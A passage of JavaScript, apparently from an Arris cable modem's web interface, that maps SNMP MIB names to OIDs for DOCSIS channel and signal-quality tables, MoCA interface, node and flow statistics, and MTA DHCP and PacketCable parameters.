Scalar("arrisCmDoc30BaseTodStatus","1.3.6.1.4.1.4115.1.3.4.1.1.14",2); +var arCmDoc30BaseTodStatus = arrisCmDoc30Base.TodStatus; + +var docsIfDownstreamChannelTable = new Table("docsIfDownstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.1"); +docsIfDownstreamChannelTable.Frequency = new Column("docsIfDownChannelFrequency","1.3.6.1.2.1.10.127.1.1.1.1.2",2); +docsIfDownstreamChannelTable.Power = new Column("docsIfDownChannelPower","1.3.6.1.2.1.10.127.1.1.1.1.6",2); +docsIfDownstreamChannelTable.Modulation = new Column("docsIfDownChannelModulation","1.3.6.1.2.1.10.127.1.1.1.1.4",2); + +var docsIfSignalQualityTable = new Table("docsIfSignalQualityTable", "1.3.6.1.2.1.10.127.1.1.4"); +docsIfSignalQualityTable.SignalNoise = new Column("docsIfSigQSignalNoise","1.3.6.1.2.1.10.127.1.1.4.1.5",2); +docsIfSignalQualityTable.Unerroreds = new Column("docsIfSigQUnerroreds","1.3.6.1.2.1.10.127.1.1.4.1.2",0x41); +docsIfSignalQualityTable.Correcteds = new Column("docsIfSigQCorrecteds","1.3.6.1.2.1.10.127.1.1.4.1.3",0x41); +docsIfSignalQualityTable.Uncorrectables = new Column("docsIfSigQUncorrectables","1.3.6.1.2.1.10.127.1.1.4.1.4",0x41); + +var docsIfUpstreamChannelTable = new Table("docsIfUpstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.2"); +docsIfUpstreamChannelTable.ChannelId = new Column("docsIfUpChannelId","1.3.6.1.2.1.10.127.1.1.2.1.1",2); +docsIfUpstreamChannelTable.Frequency = new Column("docsIfUpChannelFrequency","1.3.6.1.2.1.10.127.1.1.2.1.2",2); +docsIfUpstreamChannelTable.Status = new Column("docsIfUpChannelStatus","1.3.6.1.2.1.10.127.1.1.2.1.18",2); + +var arrisCmDoc30IfUpstreamChannelExtendedTable = new Table("arrisCmDoc30IfUpstreamChannelExtendedTable", "1.3.6.1.4.1.4115.1.3.4.1.9.2"); +arrisCmDoc30IfUpstreamChannelExtendedTable.SymbolRate = new Column("arrisCmDoc30IfUpChannelExtendedSymbolRate","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.2",2); +/* kSym/s */ +arrisCmDoc30IfUpstreamChannelExtendedTable.Modulation = new Column("arrisCmDoc30IfUpChannelExtendedModulation","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.3",2); +/* 1: qpsk(1) 2: qam8(2) 3: qam16(3) 4: qam32(4) 5: qam64(5) 6: qam128(6) 7: qam256(7) 8: err(-1) */ + +var docsIf3CmStatusUsTable = new Table("docsIf3CmStatusUsTable", "1.3.6.1.4.1.4491.2.1.20.1.2"); +docsIf3CmStatusUsTable.TxPower = new Column("docsIf3CmStatusUsTxPower","1.3.6.1.4.1.4491.2.1.20.1.2.1.1",2); + +var docsIf3CmStatusTable = new Table("docsIf3CmStatusTable", "1.3.6.1.4.1.4491.2.1.20.1.1"); +docsIf3CmStatusTable.docsIf3CmStatusValue = new Column("docsIf3CmStatusValue","1.3.6.1.4.1.4491.2.1.20.1.1.1.1",2); +var ardocsIf3CmStatusValue=docsIf3CmStatusTable.docsIf3CmStatusValue; + + +// no need to load trigger +MibObjects.loaded = true; + + +// +// MoCA +// + + +var mocaIfConfigTable = new Table("mocaIfConfigTable", "1.3.6.1.4.1.31621.1.1.1.1"); +mocaIfConfigTable.mocaIfEnable = new Column("mocaIfEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.1", 2); +mocaIfConfigTable.mocaIfChannelMask = new Column("mocaIfChannelMask", "1.3.6.1.4.1.31621.1.1.1.1.1.2", 66); +mocaIfConfigTable.mocaIfPowerControl = new Column("mocaIfPowerControl", "1.3.6.1.4.1.31621.1.1.1.1.1.3", 2); +mocaIfConfigTable.mocaIfTxPowerLimit = new Column("mocaIfTxPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.4", 66); +mocaIfConfigTable.mocaIfBeaconPowerLimit = new Column("mocaIfBeaconPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.5", 66); +mocaIfConfigTable.mocaIfPowerControlTargetRate = new Column("mocaIfPowerControlTargetRate", "1.3.6.1.4.1.31621.1.1.1.1.1.6", 66); +mocaIfConfigTable.mocaIfPrivacyEnable = new Column("mocaIfPrivacyEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.7", 2); +mocaIfConfigTable.mocaIfPassword = new Column("mocaIfPassword", "1.3.6.1.4.1.31621.1.1.1.1.1.8", 4); +mocaIfConfigTable.mocaIfPreferredNC = new Column("mocaIfPreferredNC", "1.3.6.1.4.1.31621.1.1.1.1.1.9", 2); +mocaIfConfigTable.mocaIfAccessEnable = new Column("mocaIfAccessEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.10", 2); +mocaIfConfigTable.mocaIfPhyThreshold = new Column("mocaIfPhyThreshold", "1.3.6.1.4.1.31621.1.1.1.1.1.11", 66); +mocaIfConfigTable.mocaIfPhyThresholdEnable = new Column("mocaIfPhyThresholdEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.12", 2); +mocaIfConfigTable.mocaIfStatusChangeEnable = new Column("mocaIfStatusChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.13", 2); +mocaIfConfigTable.mocaIfNumNodesChangeEnable = new Column("mocaIfNumNodesChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.14", 2); +var mocaIfEnable = mocaIfConfigTable.mocaIfEnable; +var mocaIfChannelMask = mocaIfConfigTable.mocaIfChannelMask; +var mocaIfPowerControl = mocaIfConfigTable.mocaIfPowerControl; +var mocaIfTxPowerLimit = mocaIfConfigTable.mocaIfTxPowerLimit; +var mocaIfBeaconPowerLimit = mocaIfConfigTable.mocaIfBeaconPowerLimit; +var mocaIfPowerControlTargetRate = mocaIfConfigTable.mocaIfPowerControlTargetRate; +var mocaIfPrivacyEnable = mocaIfConfigTable.mocaIfPrivacyEnable; +var mocaIfPassword = mocaIfConfigTable.mocaIfPassword; +var mocaIfPreferredNC = mocaIfConfigTable.mocaIfPreferredNC; +var mocaIfAccessEnable = mocaIfConfigTable.mocaIfAccessEnable; +var mocaIfPhyThreshold = mocaIfConfigTable.mocaIfPhyThreshold; +var mocaIfPhyThresholdEnable = mocaIfConfigTable.mocaIfPhyThresholdEnable; +var mocaIfStatusChangeEnable = mocaIfConfigTable.mocaIfStatusChangeEnable; +var mocaIfNumNodesChangeEnable = mocaIfConfigTable.mocaIfNumNodesChangeEnable; + +var mocaIfAccessTable = new Table("mocaIfAccessTable", "1.3.6.1.4.1.31621.1.1.1.2"); +mocaIfAccessTable.mocaIfAccessIndex = new Column("mocaIfAccessIndex", "1.3.6.1.4.1.31621.1.1.1.2.1.1", 2); +mocaIfAccessTable.mocaIfAccessMacAddress = new Column("mocaIfAccessMacAddress", "1.3.6.1.4.1.31621.1.1.1.2.1.2", 4,1); +mocaIfAccessTable.mocaIfAccessStatus = new Column("mocaIfAccessStatus", "1.3.6.1.4.1.31621.1.1.1.2.1.3", 2); +var mocaIfAccessIndex = mocaIfAccessTable.mocaIfAccessIndex; +var mocaIfAccessMacAddress = mocaIfAccessTable.mocaIfAccessMacAddress; +var mocaIfAccessStatus = mocaIfAccessTable.mocaIfAccessStatus; + +var mocaIfStatusTable = new Table("mocaIfStatusTable", "1.3.6.1.4.1.31621.1.1.1.3"); +mocaIfStatusTable.mocaIfStatus = new Column("mocaIfStatus", "1.3.6.1.4.1.31621.1.1.1.3.1.1", 2); +mocaIfStatusTable.mocaIfLinkUpTime = new Column("mocaIfLinkUpTime", "1.3.6.1.4.1.31621.1.1.1.3.1.2", 66); +mocaIfStatusTable.mocaIfSoftwareVersion = new Column("mocaIfSoftwareVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.3", 4); +mocaIfStatusTable.mocaIfMocaVersion = new Column("mocaIfMocaVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.4", 2); +mocaIfStatusTable.mocaIfNetworkVersion = new Column("mocaIfNetworkVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.5", 2); +mocaIfStatusTable.mocaIfMacAddress = new Column("mocaIfMacAddress", "1.3.6.1.4.1.31621.1.1.1.3.1.6", 4,1); +mocaIfStatusTable.mocaIfNodeID = new Column("mocaIfNodeID", "1.3.6.1.4.1.31621.1.1.1.3.1.7", 66); +mocaIfStatusTable.mocaIfName = new Column("mocaIfName", "1.3.6.1.4.1.31621.1.1.1.3.1.8", 4); +mocaIfStatusTable.mocaIfNumNodes = new Column("mocaIfNumNodes", "1.3.6.1.4.1.31621.1.1.1.3.1.9", 66); +mocaIfStatusTable.mocaIfNC = new Column("mocaIfNC", "1.3.6.1.4.1.31621.1.1.1.3.1.10", 66); +mocaIfStatusTable.mocaIfBackupNC = new Column("mocaIfBackupNC", "1.3.6.1.4.1.31621.1.1.1.3.1.11", 66); +mocaIfStatusTable.mocaIfRFChannel = new Column("mocaIfRFChannel", "1.3.6.1.4.1.31621.1.1.1.3.1.12", 2); +mocaIfStatusTable.mocaIfLOF = new Column("mocaIfLOF", "1.3.6.1.4.1.31621.1.1.1.3.1.13", 2); +mocaIfStatusTable.mocaIfTabooChannelMask = new Column("mocaIfTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.14", 66); +mocaIfStatusTable.mocaIfNodeTabooChannelMask = new Column("mocaIfNodeTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.15", 66); +mocaIfStatusTable.mocaIfCapabilityMask = new Column("mocaIfCapabilityMask", "1.3.6.1.4.1.31621.1.1.1.3.1.16", 66); +mocaIfStatusTable.mocaIfTxGcdPowerReduction = new Column("mocaIfTxGcdPowerReduction", "1.3.6.1.4.1.31621.1.1.1.3.1.17", 66); +mocaIfStatusTable.mocaIfQAM256Capable = new Column("mocaIfQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.3.1.18", 2); +mocaIfStatusTable.mocaIfPacketsAggrCapability = new Column("mocaIfPacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.3.1.19", 2); +mocaIfStatusTable.mocaIfMaxIngressNodeBw = new Column("mocaIfMaxIngressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.20", 66); +mocaIfStatusTable.mocaIfMaxEgressNodeBw = new Column("mocaIfMaxEgressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.21", 66); +mocaIfStatusTable.mocaIfTxGcdRate = new Column("mocaIfTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.3.1.22", 66); +var mocaIfStatus = mocaIfStatusTable.mocaIfStatus; +var mocaIfLinkUpTime = mocaIfStatusTable.mocaIfLinkUpTime; +var mocaIfSoftwareVersion = mocaIfStatusTable.mocaIfSoftwareVersion; +var mocaIfMocaVersion = mocaIfStatusTable.mocaIfMocaVersion; +var mocaIfNetworkVersion = mocaIfStatusTable.mocaIfNetworkVersion; +var mocaIfMacAddress = mocaIfStatusTable.mocaIfMacAddress; +var mocaIfNodeID = mocaIfStatusTable.mocaIfNodeID; +var mocaIfName = mocaIfStatusTable.mocaIfName; +var mocaIfNumNodes = mocaIfStatusTable.mocaIfNumNodes; +var mocaIfNC = mocaIfStatusTable.mocaIfNC; +var mocaIfBackupNC = mocaIfStatusTable.mocaIfBackupNC; +var mocaIfRFChannel = mocaIfStatusTable.mocaIfRFChannel; +var mocaIfLOF = mocaIfStatusTable.mocaIfLOF; +var mocaIfTabooChannelMask = mocaIfStatusTable.mocaIfTabooChannelMask; +var mocaIfNodeTabooChannelMask = mocaIfStatusTable.mocaIfNodeTabooChannelMask; +var mocaIfCapabilityMask = mocaIfStatusTable.mocaIfCapabilityMask; +var mocaIfTxGcdPowerReduction = mocaIfStatusTable.mocaIfTxGcdPowerReduction; +var mocaIfQAM256Capable = mocaIfStatusTable.mocaIfQAM256Capable; +var mocaIfPacketsAggrCapability = mocaIfStatusTable.mocaIfPacketsAggrCapability; +var mocaIfMaxIngressNodeBw = mocaIfStatusTable.mocaIfMaxIngressNodeBw; +var mocaIfMaxEgressNodeBw = mocaIfStatusTable.mocaIfMaxEgressNodeBw; +var mocaIfTxGcdRate = mocaIfStatusTable.mocaIfTxGcdRate; + +var mocaIfStatsTable = new Table("mocaIfStatsTable", "1.3.6.1.4.1.31621.1.1.1.4"); +mocaIfStatsTable.mocaIfTxPackets = new Column("mocaIfTxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.1", 65); +mocaIfStatsTable.mocaIfTxDrops = new Column("mocaIfTxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.2", 65); +mocaIfStatsTable.mocaIfRxPackets = new Column("mocaIfRxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.3", 65); +mocaIfStatsTable.mocaIfRxCorrectedErrors = new Column("mocaIfRxCorrectedErrors", "1.3.6.1.4.1.31621.1.1.1.4.1.4", 65); +mocaIfStatsTable.mocaIfRxDrops = new Column("mocaIfRxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.5", 65); +mocaIfStatsTable.mocaIfEgressNodeNumFlows = new Column("mocaIfEgressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.6", 66); +mocaIfStatsTable.mocaIfIngressNodeNumFlows = new Column("mocaIfIngressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.7", 66); +var mocaIfTxPackets = mocaIfStatsTable.mocaIfTxPackets; +var mocaIfTxDrops = mocaIfStatsTable.mocaIfTxDrops; +var mocaIfRxPackets = mocaIfStatsTable.mocaIfRxPackets; +var mocaIfRxCorrectedErrors = mocaIfStatsTable.mocaIfRxCorrectedErrors; +var mocaIfRxDrops = mocaIfStatsTable.mocaIfRxDrops; +var mocaIfEgressNodeNumFlows = mocaIfStatsTable.mocaIfEgressNodeNumFlows; +var mocaIfIngressNodeNumFlows = mocaIfStatsTable.mocaIfIngressNodeNumFlows; + +var mocaIfFlowStatsTable = new Table("mocaIfFlowStatsTable", "1.3.6.1.4.1.31621.1.1.1.5"); +mocaIfFlowStatsTable.mocaIfFlowIndex = new Column("mocaIfFlowIndex", "1.3.6.1.4.1.31621.1.1.1.5.1.1", 2); +mocaIfFlowStatsTable.mocaIfFlowID = new Column("mocaIfFlowID", "1.3.6.1.4.1.31621.1.1.1.5.1.2", 4); +mocaIfFlowStatsTable.mocaIfPacketDA = new Column("mocaIfPacketDA", "1.3.6.1.4.1.31621.1.1.1.5.1.3", 4,1); +mocaIfFlowStatsTable.mocaIfPeakDataRate = new Column("mocaIfPeakDataRate", "1.3.6.1.4.1.31621.1.1.1.5.1.4", 66); +mocaIfFlowStatsTable.mocaIfBurstSize = new Column("mocaIfBurstSize", "1.3.6.1.4.1.31621.1.1.1.5.1.5", 66); +mocaIfFlowStatsTable.mocaIfLeaseTime = new Column("mocaIfLeaseTime", "1.3.6.1.4.1.31621.1.1.1.5.1.6", 66); +mocaIfFlowStatsTable.mocaIfFlowTag = new Column("mocaIfFlowTag", "1.3.6.1.4.1.31621.1.1.1.5.1.7", 66); +mocaIfFlowStatsTable.mocaIfLeaseTimeLeft = new Column("mocaIfLeaseTimeLeft", "1.3.6.1.4.1.31621.1.1.1.5.1.8", 66); +mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr = new Column("mocaIfTxPacketsOnePacketAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.9", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr = new Column("mocaIfTxPacketsTwoPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.10", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr = new Column("mocaIfTxPacketsThreePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.11", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr = new Column("mocaIfTxPacketsFourPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.12", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr = new Column("mocaIfTxPacketsFivePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.13", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr = new Column("mocaIfTxPacketsSixPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.14", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr = new Column("mocaIfTxPacketsSevenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.15", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr = new Column("mocaIfTxPacketsEightPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.16", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr = new Column("mocaIfTxPacketsNinePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.17", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr = new Column("mocaIfTxPacketsTenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.18", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFlow = new Column("mocaIfTxPacketsFlow", "1.3.6.1.4.1.31621.1.1.1.5.1.19", 66); +var mocaIfFlowIndex = mocaIfFlowStatsTable.mocaIfFlowIndex; +var mocaIfFlowID = mocaIfFlowStatsTable.mocaIfFlowID; +var mocaIfPacketDA = mocaIfFlowStatsTable.mocaIfPacketDA; +var mocaIfPeakDataRate = mocaIfFlowStatsTable.mocaIfPeakDataRate; +var mocaIfBurstSize = mocaIfFlowStatsTable.mocaIfBurstSize; +var mocaIfLeaseTime = mocaIfFlowStatsTable.mocaIfLeaseTime; +var mocaIfFlowTag = mocaIfFlowStatsTable.mocaIfFlowTag; +var mocaIfLeaseTimeLeft = mocaIfFlowStatsTable.mocaIfLeaseTimeLeft; +var mocaIfTxPacketsOnePacketAggr = mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr; +var mocaIfTxPacketsTwoPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr; +var mocaIfTxPacketsThreePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr; +var mocaIfTxPacketsFourPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr; +var mocaIfTxPacketsFivePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr; +var mocaIfTxPacketsSixPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr; +var mocaIfTxPacketsSevenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr; +var mocaIfTxPacketsEightPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr; +var mocaIfTxPacketsNinePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr; +var mocaIfTxPacketsTenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr; +var mocaIfTxPacketsFlow = mocaIfFlowStatsTable.mocaIfTxPacketsFlow; + +var mocaNodeTable = new Table("mocaNodeTable", "1.3.6.1.4.1.31621.1.1.1.6"); +mocaNodeTable.mocaNodeIndex = new Column("mocaNodeIndex", "1.3.6.1.4.1.31621.1.1.1.6.1.1", 66); +mocaNodeTable.mocaNodeMocaVersion = new Column("mocaNodeMocaVersion", "1.3.6.1.4.1.31621.1.1.1.6.1.2", 2); +mocaNodeTable.mocaNodeMacAddress = new Column("mocaNodeMacAddress", "1.3.6.1.4.1.31621.1.1.1.6.1.3", 4,1); +mocaNodeTable.mocaNodeTxGcdRate = new Column("mocaNodeTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.6.1.4", 66); +mocaNodeTable.mocaNodeRxGcdPower = new Column("mocaNodeRxGcdPower", "1.3.6.1.4.1.31621.1.1.1.6.1.5", 2); +mocaNodeTable.mocaNodeTxPowerReduction = new Column("mocaNodeTxPowerReduction", "1.3.6.1.4.1.31621.1.1.1.6.1.6", 66); +mocaNodeTable.mocaNodeRxPower = new Column("mocaNodeRxPower", "1.3.6.1.4.1.31621.1.1.1.6.1.7", 2); +mocaNodeTable.mocaNodePreferredNC = new Column("mocaNodePreferredNC", "1.3.6.1.4.1.31621.1.1.1.6.1.8", 2); +mocaNodeTable.mocaNodeQAM256Capable = new Column("mocaNodeQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.6.1.9", 2); +mocaNodeTable.mocaNodePacketsAggrCapability = new Column("mocaNodePacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.6.1.10", 2); +mocaNodeTable.mocaNodeRxPackets = new Column("mocaNodeRxPackets", "1.3.6.1.4.1.31621.1.1.1.6.1.11", 65); +mocaNodeTable.mocaNodeRxCorrected = new Column("mocaNodeRxCorrected", "1.3.6.1.4.1.31621.1.1.1.6.1.12", 65); +mocaNodeTable.mocaNodeRxDrops = new Column("mocaNodeRxDrops", "1.3.6.1.4.1.31621.1.1.1.6.1.13", 65); +mocaNodeTable.mocaNodeSNR = new Column("mocaNodeSNR", "1.3.6.1.4.1.31621.1.1.1.6.1.14", 66); +var mocaNodeIndex = mocaNodeTable.mocaNodeIndex; +var mocaNodeMocaVersion = mocaNodeTable.mocaNodeMocaVersion; +var mocaNodeMacAddress = mocaNodeTable.mocaNodeMacAddress; +var mocaNodeTxGcdRate = mocaNodeTable.mocaNodeTxGcdRate; +var mocaNodeRxGcdPower = mocaNodeTable.mocaNodeRxGcdPower; +var mocaNodeTxPowerReduction = mocaNodeTable.mocaNodeTxPowerReduction; +var mocaNodeRxPower = mocaNodeTable.mocaNodeRxPower; +var mocaNodePreferredNC = mocaNodeTable.mocaNodePreferredNC; +var mocaNodeQAM256Capable = mocaNodeTable.mocaNodeQAM256Capable; +var mocaNodePacketsAggrCapability = mocaNodeTable.mocaNodePacketsAggrCapability; +var mocaNodeRxPackets = mocaNodeTable.mocaNodeRxPackets; +var mocaNodeRxCorrected = mocaNodeTable.mocaNodeRxCorrected; +var mocaNodeRxDrops = mocaNodeTable.mocaNodeRxDrops; +var mocaNodeSNR = mocaNodeTable.mocaNodeSNR; + +var mocaMeshTable = new Table("mocaMeshTable", "1.3.6.1.4.1.31621.1.1.1.7"); +mocaMeshTable.mocaMeshTxNodeIndex = new Column("mocaMeshTxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.1", 66); +mocaMeshTable.mocaMeshRxNodeIndex = new Column("mocaMeshRxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.2", 66); +mocaMeshTable.mocaMeshTxRate = new Column("mocaMeshTxRate", "1.3.6.1.4.1.31621.1.1.1.7.1.3", 66); +var mocaMeshTxNodeIndex = mocaMeshTable.mocaMeshTxNodeIndex; +var mocaMeshRxNodeIndex = mocaMeshTable.mocaMeshRxNodeIndex; +var mocaMeshTxRate = mocaMeshTable.mocaMeshTxRate; + +var mocaBridgeTable = new Table("mocaBridgeTable", "1.3.6.1.4.1.31621.1.1.1.8"); +mocaBridgeTable.mocaBridgeNodeIndex = new Column("mocaBridgeNodeIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.1", 66); +mocaBridgeTable.mocaBridgeMacIndex = new Column("mocaBridgeMacIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.2", 2); +mocaBridgeTable.mocaBridgeMacAddress = new Column("mocaBridgeMacAddress", "1.3.6.1.4.1.31621.1.1.1.8.1.3", 4,1); +var mocaBridgeNodeIndex = mocaBridgeTable.mocaBridgeNodeIndex; +var mocaBridgeMacIndex = mocaBridgeTable.mocaBridgeMacIndex; +var mocaBridgeMacAddress = mocaBridgeTable.mocaBridgeMacAddress; + + +var arrisMtaDevLineCardTable = new Table("arrisMtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +arrisMtaDevLineCardTable.LineNumber = new Column("arrisMtaDevLineCardLineNumber","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.1",2); +arrisMtaDevLineCardTable.State = new Column("arrisMtaDevLineCardState","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2",2); +var arrisMtaDevLineCardLineNumber=arrisMtaDevLineCardTable.LineNumber; +var arrisMtaDevLineCardState=arrisMtaDevLineCardTable.State; + + +var arrisMtaDevDhcpMtaParameters = new Container("arrisMtaDevDhcpMtaParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.1"); +arrisMtaDevDhcpMtaParameters.MtaIpFQDN = new Scalar("arrisMtaDevDhcpMtaIpFQDN","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1",4); +arrisMtaDevDhcpMtaParameters.MtaIpAddr = new Scalar("arrisMtaDevDhcpMtaIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.2",4,1); +arrisMtaDevDhcpMtaParameters.MtaSubNetMask = new Scalar("arrisMtaDevDhcpMtaSubNetMask","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.3",4,1); +arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr = new Scalar("arrisMtaDevDhcpMtaGatewayIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.4",4,1); +arrisMtaDevDhcpMtaParameters.MtaConfigFile = new Scalar("arrisMtaDevDhcpMtaConfigFile","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.5",4); +var arMtaDevDhcpMtaIpFQDN = arrisMtaDevDhcpMtaParameters.MtaIpFQDN; +var arMtaDevDhcpMtaIpAddr = arrisMtaDevDhcpMtaParameters.MtaIpAddr; +var arMtaDevDhcpMtaSubNetMask = arrisMtaDevDhcpMtaParameters.MtaSubNetMask; +var arMtaDevDhcpMtaGatewayIpAddr = arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr; +var arMtaDevDhcpMtaConfigFile = arrisMtaDevDhcpMtaParameters.MtaConfigFile; + + +var arrisMtaDevDhcpLeaseParameters = new Container("arrisMtaDevDhcpLeaseParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.3"); +arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime = new Scalar("arrisMtaDevDhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.1",4,1); +arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining = new Scalar("arrisMtaDevDhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.2",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRenew = new Scalar("arrisMtaDevDhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.3",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRebind = new Scalar("arrisMtaDevDhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.4",4,1); +var arMtaDevDhcpOfferedLeaseTime = arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime; +var arMtaDevDhcpLeaseTimeRemaining = arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining; +var arMtaDevDhcpTimeUntilRenew = arrisMtaDevDhcpLeaseParameters.TimeUntilRenew; +var arMtaDevDhcpTimeUntilRebind = arrisMtaDevDhcpLeaseParameters.TimeUntilRebind; + +var arrisMtaDevDhcpSvrParameters = new Container("arrisMtaDevDhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.2"); +arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpPrimaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.4",4,1); +arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpSecondaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.5",4,1); +var arMtaDevDhcpPrimaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr; +var arMtaDevDhcpSecondaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr; + +var arrisMtaDevDhcpPktcOptParameters = new Container("arrisMtaDevDhcpPktcOptParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.4"); +arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity = new Scalar("arrisMtaDevDhcpSvcProviderSnmpEntity","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.2",4,1); +arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn = new Scalar("arrisMtaDevDhcpKerberosRealmFqdn","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.3",4,1); +arrisMtaDevDhcpPktcOptParameters.RequestTgt = new Scalar("arrisMtaDevDhcpRequestTgt","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.4",4); +arrisMtaDevDhcpPktcOptParameters.ProvTimer = new Scalar("arrisMtaDevDhcpProvTimer","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.5",2); +var arMtaDevDhcpSvcProviderSnmpEntity = arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity; +var arMtaDevDhcpKerberosRealmFqdn = arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn; +var arMtaDevDhcpRequestTgt = arrisMtaDevDhcpPktcOptParameters.RequestTgt; +var arMtaDevDhcpProvTimer = arrisMtaDevDhcpPktcOptParameters.ProvTimer; + +var pktcMtaDevBase = new Container("pktcMtaDevBase", "1.3.6.1.4.1.4491.2.2.1.1.1"); +pktcMtaDevBase.Enabled = new Scalar("pktcMtaDevEnabled", "1.3.6.1.4.1.4491.2.2.1.1.1.7",2); +var pktcMtaDevEnabled = pktcMtaDevBase.Enabled; + +var pktcSigDevConfigObjects = new Container("pktcSigDevConfigObjects", "1.3.6.1.4.1.4491.2.2.2.1.1"); 